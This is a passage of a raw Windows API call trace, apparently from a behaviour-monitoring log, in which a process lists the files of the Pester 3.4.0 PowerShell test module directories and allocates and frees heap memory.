ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0243.311] GetProcessHeap () returned 0xc10000 [0243.311] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0243.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0243.624] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.624] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0243.624] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0243.624] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0243.624] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0243.624] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0243.624] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0243.625] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLike.ps1", cAlternateFileName="")) returned 1 [0243.625] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLike.Tests.ps1", cAlternateFileName="")) returned 1 [0243.625] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96efdfa3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96efdfa3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96efdfa3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLikeExactly.ps1", cAlternateFileName="")) returned 1 [0243.625] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeLikeExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x573, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeOfType.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BeOfType.Tests.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0243.626] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0243.627] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e8b875, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e8b875, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96efdfa3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0243.627] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0243.627] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0243.627] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0243.627] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0243.627] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0243.627] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0243.628] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1340, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0243.628] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Set-TestInconclusive.ps1", cAlternateFileName="")) returned 1 [0243.628] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0243.628] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0243.628] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0243.628] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0243.628] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0243.630] GetProcessHeap () returned 0xc10000 [0243.630] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0243.630] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0243.630] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x921, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0243.630] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0243.630] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4559, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0243.630] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0243.630] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0243.630] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0243.631] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-A.Tests.ps1", cAlternateFileName="")) returned 1 [0243.631] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-B.Tests.ps1", cAlternateFileName="")) returned 1 [0243.631] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0243.631] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0243.631] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, 